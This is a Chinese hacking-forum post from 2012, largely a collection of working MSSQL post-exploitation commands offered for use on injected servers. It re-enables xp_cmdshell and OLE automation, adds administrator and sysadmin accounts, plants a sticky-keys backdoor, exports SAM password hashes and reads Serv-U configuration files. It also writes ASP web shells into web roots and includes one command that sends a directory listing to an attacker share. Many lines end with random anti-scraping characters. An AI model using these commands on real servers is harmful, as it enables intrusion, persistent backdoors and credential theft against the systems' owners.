找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2326|回复: 0
打印 上一主题 下一主题

XP_CMDSHELL恢复方法大全

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:37:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1 未能找到存储过程'master..xpcmdshell'.  EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号6 B0 w$ H5 s5 U+ _
恢复方法:查询分离器连接后,
# D- q1 f2 @; {8 Q2 z第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int ) Z  ~9 {) [$ W8 \
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
# `. {/ ?7 p6 v6 m; i+ y然后按F5键命令执行完毕
7 {# ]* M+ N; n; b7 b" P* b+ X) a* K  G" I4 X8 m! U, z  P
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
8 _6 F. ?/ `! s, }恢复方法:查询分离器连接后,
1 |" P8 z' X% _* }第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"
$ k  ^6 ^% T) Q; c. h第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll', J0 {  _3 V, k8 t/ d
然后按F5键命令执行完毕7 v! O: O/ ^1 [( ~) `  {* |, l
, B, V: E& t- p
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)5 S" n) }3 {& B* M/ z- ?7 U7 ]3 B
恢复方法:查询分离器连接后,& G5 |5 I( m  {6 w. i
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
; r( Y9 w" A+ Z+ q- V5 p: i4 n第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'       * M! N# d) i* j
然后按F5键命令执行完毕" V# z- a3 X5 S6 }, b1 [
5 G, x& [' B6 j+ \. e3 [! h
4 终极方法.
; H5 Y  w/ q; b2 B* E如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
7 U* }0 T$ ?5 G8 X; r+ @: G查询分离器连接后,
+ H; B) i& N& u+ B8 ?) D2000servser系统:
* \5 g, ]1 ~8 i( T6 ]  N$ ?# N, adeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'5 p- z% t5 p( F; i2 v

+ A8 V1 D8 f; L7 m- u- N' b. vdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'
( A  L* s: R* J, K2 V8 Z" V' Q
! _( d6 k  W  @" |xp或2003server系统:3 D5 l. A" k$ S
3 Y1 r) q7 J4 |7 v
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'4 W1 _, a. V# X& |# W/ {

4 ?  X2 Y  \8 B2 h* x- S4 xdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add') j0 g, n6 P9 j+ u+ t
! ?. K% k% O, `$ M3 X

0 u7 p- x' l% F五个SHIFT
  U; L6 ^. \" h1 {9 U* n1 @declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
- N6 H" w; f7 {
: h4 M( b- l' e& Odeclare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe'; , Q3 M9 r* |% P1 V$ L$ T$ s2 i

8 g. `/ g# Z) h) Oxp_cmdshell执行命令另一种方法
. F& @- c' a) }0 }% f- K( Hdeclare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add' & O5 Z  k% b4 D

9 _9 |, q8 E; r1 F) ]# F3 _* X1 d判断存储扩展是否存在5 @2 u7 w/ C2 w% Z
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'+ I% R- T# z! M# _3 ?
返回结果为1就OK7 h) l+ r* \+ Q  e0 m, R$ h
6 z# v) i' ^. b

, T4 S3 i2 w9 T, p* ]上传xplog70.dll恢复xp_cmdshell语句:
1 A) z2 i5 p- ~/ }+ k8 u, _6 ~sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'0 Q% D# x1 ?5 h. g3 k3 e6 g
" D0 Z, R. _( _( v
否则上传xplog7.0.dll7 u( c1 T3 Z& G5 e' D7 {
Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'
' O& @% E( C! Q7 y- y2 c' R) X3 \! B6 k4 I: M; }9 u
2 R- E. q6 m( f6 \# d4 k* w
$ n9 y3 X* x* }+ N1 g8 W
首先开启沙盘模式:
9 v4 D8 S2 S' C( \# Xexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1) n. R# l: O, T7 F$ ]( a0 r, D, q
2 W0 @# r' F8 h: f9 V- n
然后利用jet.oledb执行系统命令
2 D; y% n8 @% X. L' M- t% G1 eselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
$ s7 H* J' C  _  ]) N返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1--  发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了* K% W% E5 l4 C% d6 M

: T- S' X  M; i! V# _; @/ `: |, U) |' ~: J* M; ?
+ n, B: |* r5 p; Y  }
恢复过程sp_addextendedproc 如下: 8 v  M  C* B4 P; B+ J
create procedure sp_addextendedproc --- 1996/08/30 20:13
% R6 y( v/ p, B$ J. R0 g6 }@functname nvarchar(517),/* (owner.)name of function to call */ / f% z* ~. _! u: t: S' l9 m
@dllname varchar(255)/* name of DLL containing function */
) \1 }2 i( @( J( Uas & F7 F5 K& D' M6 F' T2 e
set implicit_transactions off * C1 l5 n! A! [# J, @
if @@trancount > 0 ; [  r% \) A' D. G- s5 E
begin ; X! }2 o0 o1 h7 v/ ]
raiserror(15002,-1,-1,'sp_addextendedproc')
4 u( B" W! H0 y' M- f0 z3 l- t( q2 Areturn (1) + O% D- b7 x* t! U! i
end
6 Q, o( V. y2 ]) ?" u! Kdbcc addextendedproc( @functname, @dllname)
% p" a' X' O' z4 Z$ }return (0) -- sp_addextendedproc
) i( a% ~9 d  \+ JGO + K# c, N; L+ Q
8 D8 F" M/ b; w% x
8 G- Q2 X( l+ O
, x4 u8 e3 o6 U8 `2 `3 t
导出管理员密码文件
' R; M) o" @. d0 a8 jsa默认可以读sam键.应该。
8 O" `* {; u' J# O6 K8 _7 Y0 dreg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg
2 L+ h4 w" \% c' u5 hnet user administrator test
$ u% |9 {/ o) b& N+ T# i0 b用administrator登陆.
' u$ w# P9 E; H( N# Z0 W6 y用完机器后$ K, \( G" [+ K! i
reg import c:\test.reg% d5 c9 ?* }6 u8 D0 @
根本不用克隆.
4 ?' {: M$ p4 Y* g) k% J- E/ O找到对应的sid. " l! b/ Y1 m: s

" k: }+ z( t5 a! {! Z, Z5 |3 s' v. t( g% ^6 i; ^

9 ]1 ?# r3 d+ Y# l) d6 {6 R( P恢复所有存储过程/ J7 h! g. |. @
use master 7 y+ \8 p" M* u! s% C6 m; o
exec sp_addextendedproc xp_enumgroups,'xplog70.dll' 7 ~, q, k' G3 e6 Q  s2 M
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
2 P8 X8 |* h; T3 r: v% F0 Vexec sp_addextendedproc xp_loginconfig,'xplog70.dll'
* E. q: e/ X, s* T# p9 aexec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
4 A6 l; {  y- ]0 q- R/ x+ }! Pexec sp_addextendedproc xp_getfiledetails,'xpstar.dll' + z" m4 W6 \# B* n; N1 o9 v
exec sp_addextendedproc sp_OACreate,'odsole70.dll' % V+ s' M7 |3 g! i  ?  o
exec sp_addextendedproc sp_OADestroy,'odsole70.dll'
/ e/ X' C1 i3 y& ^5 ~& ~' Fexec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
0 V. f: t5 w0 D2 J( Kexec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
$ D; c. y6 \5 V+ V( u' H- }- _exec sp_addextendedproc sp_OAMethod,'odsole70.dll' # J0 X9 D) N4 w  w: }* j9 a" e
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
9 q. t/ J! C. r: V  Texec sp_addextendedproc sp_OAStop,'odsole70.dll'
2 t: C# Y/ y9 v" i' s+ |exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
/ _% l" M- w4 \$ Q# X( j7 Gexec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
' z3 Y! g; I+ h! T% {# E! Y8 H* O8 O/ }exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll' ) d5 |+ Z. A# c& K6 v- s
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
( R" W4 ~! H; sexec sp_addextendedproc xp_regread,'xpstar.dll' - a6 \- r4 X( b7 p; M# x4 [
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' - `1 }& W, Y2 X8 t2 _2 a2 h
exec sp_addextendedproc xp_regwrite,'xpstar.dll' * _  N6 F2 H8 u7 Q0 g8 f
exec sp_addextendedproc xp_availablemedia,'xpstar.dll', D3 A4 o  _4 v' S4 `
* Y. e* R7 \$ I) ~$ A* g

9 g3 g8 V& f' Z0 Q建立读文件的存储过程) s7 v2 a" E+ w+ x( Z, n1 l" r* @; F
Create proc sp_readTextFile @filename sysname1 n( j7 o+ b5 {5 ?  Q
as$ I3 c' y4 |) z! M4 B' k

6 {+ V  e) z3 x- J2 b9 x    begin 3 E8 l  H: R% I
    set nocount on
1 [6 f1 w; E' z    Create table #tempfile (line varchar(8000))0 T& f" u# @; k0 a0 k4 W& H
    exec ('bulk insert #tempfile from "' + @filename + '"')4 H1 c5 Z9 r4 d9 M% o$ Z
    select * from #tempfile
) k7 v% g* S% W& U% @    drop table #tempfile
! F8 G  D+ S8 C$ P2 x+ d8 D+ R- OEnd( D5 V: |$ w- u, i# F1 R& C6 r% s+ Q
8 @/ `! Z5 W/ ^
exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件
. F! a2 c) t% L: W查看登录用户7 p  z0 {3 G( ?2 p8 s) L
Select * from sysxlogins. {  D. r3 F: r; Y3 Y

1 O2 ]' Z! o( m. M& a- s+ \把文件内容读取到表中
  {9 G1 n4 t, D! Z3 [0 n" B  CBULK INSERT tmp from "c:\test.txt"- g, V7 g& l- W
dElete from 表名 清理表里的内容
9 G& Z. F) `# B$ Acreate table b_test(fn nvarchar(4000));建一个表,字段为fn& a* `6 o' b, d, D  h( }
7 V2 `- F4 a1 \! X
9 N+ P& q2 y4 c) z
加sa用户# h9 P2 X& v5 n) }' {+ R7 w  g! A
exec master.dbo.sp_addlogin user,pass;' o; \* Z0 H; U+ p5 k
exec master.dbo.sp_addsrvrolemember user,sysadmin
  a% z: m5 v! \+ c' v, F- z4 ~8 D4 j# P+ ]' ~/ v

) p: p( K0 P  u. J3 H$ [  I: z  \0 j
读文件代码6 l! E, p/ }/ J% y0 H
declare @o int, @f int, @t int, @ret int9 n8 H8 ?+ l& Y- U& G
declare @line varchar(8000)4 D. F" ?* D$ _0 R9 o2 S3 F
exec sp_oacreate 'scripting.filesystemobject', @o out
. L/ T! G8 K; F" V/ uexec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1
/ M: e# n/ y, D/ z5 A/ C3 d" I3 dexec @ret = sp_oamethod @f, 'readline', @line out
! T0 f+ N+ C0 P6 H* ^while( @ret = 0 )
) k* w' Q) i5 tbegin
, c# j+ q' x. U, Q3 k* zprint @line
  P& K, }  C$ L; i8 oexec @ret = sp_oamethod @f, 'readline', @line out
; |, N3 k' O+ kend$ K9 k3 A# ^$ K1 x: s- \2 V
- i5 o) N% l  V5 J& c

3 N  J' n+ q, c; N' r+ i写文件代码:! D9 D) w7 D9 N7 _' \+ A
declare @o int, @f int, @t int, @ret int( F3 e4 J  _7 N5 G
exec sp_oacreate 'scripting.filesystemobject', @o out
; {' E1 O$ J: {0 B  B& ?* Nexec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1
" H  f) m; V: Iexec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
5 L4 s8 O" ~! w6 {" z( T/ W
4 G) C+ y9 t* ~& l4 P* @. i# K$ A, w0 k2 o( T& E% B9 B+ l7 T
添加lake2 shell5 ]  q- @7 y1 `, K
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'& k- i# P) `' [- W
sp_dropextendedproc xp_lake2( F* Q; ^9 {1 t, x& t- x
EXEC xp_lake2 'net user'
# X$ Q4 N% @$ G% l+ o; @
7 R* |% y' G5 j3 \( y. `4 T, W/ |6 u
得到硬盘文件信息
, u" z4 ?  N0 w--参数说明:目录名,目录深度,是否显示文件 9 S: Q1 e) h1 I1 v# U) K6 }3 [
execute master..xp_dirtree 'c:'
' q: n; q; ~# i2 i$ Jexecute master..xp_dirtree 'c:',1 ! z5 D4 b0 j2 c, L7 C
execute master..xp_dirtree 'c:',1,1 6 ~- N- P( l5 l6 X  _7 {& K9 e

: E, I' Q3 Z% @3 f& d( v) ^/ K! s% d/ h5 I( N$ i' k
读serv-u配置信息
, r# e+ c( K% Y% \exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'0 }% L2 w. X% ]
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'
: @8 C# ]& d' a7 l7 M" C  E8 ~: D3 x$ Q: i5 o  y2 ]) l4 f3 V, s) B
通过xp_regwrite写SHIFT后门
+ r# O8 z. V$ u9 o( A0 u/ hexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--4 N  |  _3 l. O/ S4 K8 I+ m9 t- `
9 p; e* W# O0 g/ _
+ p( R% @" g7 j. ?. @1 d

& f: g. s% B  Y# p5 J$ v, Q, O' n! @- B找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
1 F/ G# B: m5 c$ s8 R+ Cexec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了
: S, L5 }$ u8 p) O. u
9 ]1 e4 U( N+ `/ CEXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'& N6 y6 |* h/ K+ d  ?

; H# Y6 n' H8 q5 e1 {
" X( f. ^2 d. }: ?/ a4 `. ~4 p+ \% B6 `* W& h+ c
sql server 2005下开启xp_cmdshell的办法
# E; P: Q% f6 r' ]9 S5 }' W# y% }
6 |- U8 _- d" T1 w' tEXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
, b6 ^' f( A  E$ g+ {, {+ m) C$ H7 C9 ]& |# D. L1 i5 C, q
SQL2005开启'OPENROWSET'支持的方法:
9 G1 u/ M) ~4 G* P4 T5 O3 c4 @+ S" V/ k  y; z0 K6 X
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;6 b8 ^+ Z9 }* T, D3 u' {1 Y" W

% V) }5 o, Q& ?0 [  ISQL2005开启'sp_oacreate'支持的方法:
; \& |6 R0 M5 n" v1 P' _/ [4 A- f
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;6 [  d; _0 M$ Y3 L
4 X4 t6 V# V9 h* P) A+ d* \3 b
/ Y; u3 \& r/ \2 }, k
, x  z1 f6 E; i, s0 g. b

/ D6 K) B$ [$ w( A8 R3 N7 v! e) X$ v; G% |& Y: B  l
' b$ F$ I9 N7 p. M0 Y9 b! A# g

2 }) c) A( j& H3 V5 m; U" O/ d' j0 [) k9 m/ @5 m
" C+ l3 v. N8 Q& U
5 V; i: l$ q9 T  y1 w( y! U
8 j/ ^  [, L: h

/ Y1 R6 Z  @2 }
( r) ]1 w! p2 U
' A7 @4 _" ?  J& Q  S1 k
3 p7 e  k$ Z, U% v. ]  k) Q1 H2 P, O% Z- n! V. n
( G! I- [; T- x8 m7 \
# F4 [# `  j4 o! ~7 F. h7 M
# H7 N: I. ^  q0 h2 g

3 H7 x3 c5 X' g* B1 j4 e) o9 X3 ^% E+ {; g$ |: b
" w+ Y' e; B% W' A" A

; Y$ E7 \  x& ?+ x$ ^. Q4 F# Y" d5 n: A" }2 n
以下方面不知道能不能成功暂且留下研究哈:
4 Z7 q" ~0 j& f$ J3 X* r3 g. \4)8 Y9 h2 U4 e/ M
use msdb; --这儿不要是master哟
9 K  ]: Y5 n. d1 `" ]$ bexec sp_add_job @job_name= czy82 ;
; G; i9 V1 Z: V3 Uexec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;/ p: z9 f, x2 _- v
exec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;. ]+ Q4 U  M! n" l% q
exec sp_start_job @job_name= czy82 ;
) p2 d; R$ [+ R# Z! H6 M' }" u# C! A# |. g" I* v
利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以+ D5 p  \+ U+ x
执行tsql语句了.
" C8 [* |- F# @6 f! ^1 ~+ E* I对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名
: a, ]/ e6 D- E7 \1 a第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)
4 i9 t8 o- r6 Dnet start SQLSERVERAGENT
  _+ K* \" B! C7 N( M# {# s! J  {, c3 X( ]$ q
对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的' `$ n. r( }$ a6 I
USE msdb
4 M# B; J- J5 J+ d4 X+ gEXEC sp_add_job @job_name = GetSystemOnSQL ,
9 m$ k) b( @+ e7 ^" X' Y/ I' h8 j@enabled = 1,# Z7 ?4 u1 M& ]/ C8 d2 Y* h. G
@description = This will give a low privileged user access to
' h0 h# S+ ~5 |3 C! ?xp_cmdshell ,8 i, L# E/ ]0 S: o2 E' O2 i# N' a
@delete_level = 1
; Y$ t0 T1 x+ ]9 n1 N" QEXEC sp_add_jobstep @job_name = GetSystemOnSQL ,4 b& i9 ~: Z/ y3 E
@step_name = Exec my sql ,
$ X3 K. X! `+ b/ w* n@subsystem = TSQL ,
+ q" ~$ c% N1 j@command = exec master..xp_execresultset N select exec
. D  a' E! \- ?8 ]master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master
+ Z, `1 a8 E1 P0 @9 `EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,
! u& o. I# G6 v# ]7 \% N@server_name = 你的SQL的服务器名
! j% T: S6 e5 n0 ~' _8 UEXEC sp_start_job @job_name = GetSystemOnSQL ; l6 F$ O" {0 l/ a2 X& ]- N
& T- `. G# F3 ?, Q0 L/ X* T1 ]
不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以% e& t6 |8 \8 h1 O0 T0 c
才让我们可以以public执行xp_cmdshell
! E, c6 m' a0 C* G" r  A2 D; `3 L9 G4 ~* w! I% O
5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)1 l/ R  p$ n: A# P
在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968
$ F4 B) y8 t# A4 l4 J4 c8 v6 y; |
USE msdb
" L/ m9 E1 f4 R! wEXEC sp_add_job @job_name = ArbitraryFilecreate ,8 B, z  Y) ]* m1 _2 N# ?
@enabled = 1,! C- u( ]3 n+ W+ `
@description = This will create a file called c:\sqlafc123.txt ,
6 x1 R4 [$ f4 Y: a% \@delete_level = 1- G; ^; c. U' l+ k! q% [
EXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,% T5 B; o1 n" v; v8 y; k
@step_name = SQLAFC ,- S" @3 _0 u: k9 y: G, V5 K
@subsystem = TSQL ,( p  Q- B. W7 ?8 f: ?7 Z8 Q
@command = select hello, this file was created by the SQL Agent. ,
5 i: M1 G6 ~' R# X@output_file_name = c:\sqlafc123.txt : y5 h2 M9 x$ [+ c/ h
EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,+ l1 G8 I. u2 a% l' L" S" S
@server_name = SERVER_NAME
, B3 B. ?0 o2 y- b7 x, ]+ t! q7 zEXEC sp_start_job @job_name = ArbitraryFilecreate + ^( R, U& T4 V& E" ~' s3 p
) ^' C' I/ ^/ A6 {# [
如果subsystem选的是:tsql,在生成的文件的头部有如下内容
' h% `0 p1 ]  A
' D2 v, V( w. ]4 O) L( H) v; Y( b! q( l! u??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19
  I7 v) R# |# [- n! _----------------------------------------------
  }3 q' o+ W+ u. ghello, this file was created by the SQL Agent.% Q0 v9 A" \. N# Z7 w- G( X! B

3 s1 C% `. T2 {! h$ b9 a; q(1 ?????)
1 e1 W2 @6 H# p8 d3 v( D6 ^1 C" H# i# N- k2 ^
所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员
- [. T0 h5 o* m* }; R5 \4 @命令的vbs文件到启动目录!& {  [" r  ?; l- Q" Y+ P
) i- X! H+ R: W
6)关于sp_makewebtask(可以写任意内容任意文件名的文件)
& R, d7 M5 D$ P3 v4 Y# t关于sp_MScopyscriptfile 看下面的例子# N8 F4 V* L5 Y$ x& \& `7 D
declare @command varchar(100)
# T" d$ V9 }2 }0 ~9 N& fdeclare @scripfile varchar(200) ; _& T7 X" N  w# o. B
set concat_null_yields_null off
) P1 p- Q" K  ?% k% Cselect @command= dir c:\ > "\\attackerip\share\dir.txt" % N2 m1 d/ {% w. N! V5 h
select @scripfile= c:\autoexec.bat > nul" | @command | rd "
: M0 b9 W& D# u+ B( \exec sp_MScopyscriptfile @scripfile ,
* |  S0 f3 ]3 k2 Z0 e1 I8 t$ g' A8 Q
这两个东东都还在测试试哟
( L9 ?( o9 Q( S; R0 y0 D- `让MSSQL的public用户得到一个本机的web shell3 c* m$ |- L3 A5 Z9 l! {' Q

; n) f3 m. U( k- M; n% dsp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,
6 T! c! v# t) U5 e/ H: M* ?--@query= select <img src=vbscript:msgbox(now())>
" b8 }' S7 r  `% Q--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
( {0 Z+ ?* s1 j# x5 s  h@query= select
8 u0 x  f2 x: H7 m. M' `# W<%On Error Resume Next
* Q6 N; k/ ]3 t3 u3 rSet oscript = Server.createObject("wscript.SHELL")
2 o) h# z/ J( C2 }Set oscriptNet = Server.createObject("wscript.NETWORK") - M9 R. u$ X# B1 j2 E/ B8 U
Set oFileSys = Server.createObject("scripting.FileSystemObject")
' s2 d. a, {2 i; w, H% bszCMD = Request.Form(".CMD")
' c% p! D5 k; D% |9 |% C1 ~If (szCMD <>"")Then
8 |  u5 z( L& u6 X; t* xszTempFile = "C:\" & oFileSys.GetTempName() + @$ t) l) N" X  h1 _+ \
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) ' l4 h5 n" T9 p
Set oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)
2 z* q- S9 l: L9 B- E7 \End If %>
0 q+ [9 g: ~; y9 |+ z( Y6 Z4 L<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="OST"> 7 n. Y4 y+ Q1 ~2 {
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run">
& v& g- m4 X% b+ l</FORM><RE>
* Z, \  q5 ]' x2 p! @2 j" K8 j8 Q<% If (IsObject(oFile))Then
1 l; `; l; }9 |On Error Resume Next ' q4 }4 s6 e9 a* O
Response.Write Server.HTMLEncode(oFile.ReadAll)
+ F  ?6 B3 D! _5 ^oFile.Close $ s5 @- g. f4 W5 S! r% B
Call oFileSys.deleteFile(szTempFile, True) ) h, L4 o5 r: k" j* s
End If%> ( m* b( \) a0 u% W+ d( I" q7 S$ b; U
</BODY></HTML>
7 k/ k6 n, p! _7 q' A( k
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表